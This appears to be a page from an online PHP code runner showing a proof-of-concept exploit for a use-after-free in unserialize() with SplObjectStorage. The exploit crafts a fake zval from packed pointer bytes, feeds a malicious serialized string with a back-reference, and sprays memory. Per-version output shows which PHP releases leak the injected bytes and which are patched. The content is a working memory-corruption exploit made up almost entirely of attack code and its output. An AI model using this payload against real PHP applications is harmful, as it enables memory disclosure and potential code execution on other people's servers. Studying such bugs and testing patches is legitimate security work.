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run code in 200+ php & hhvm versions
Bugs & Features
<?php $fakezval = ptr2str(1234567); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:0;m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 7.2.0
array(2) { [0]=> object(SplObjectStorage)#1 (1) { ["storage":"SplObjectStorage":private]=> array(0) { } } [1]=> int(0) }
Output for 5.4.10 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
array(2) { [0]=> object(SplObjectStorage)#1 (1) { ["storage":"SplObjectStorage":private]=> array(0) { } } [1]=> string(25) "��0" }
Output for 5.3.20 - 5.3.29
Notice: unserialize(): Error at offset 60 of 61 bytes in /in/JBfAU on line 13 bool(false)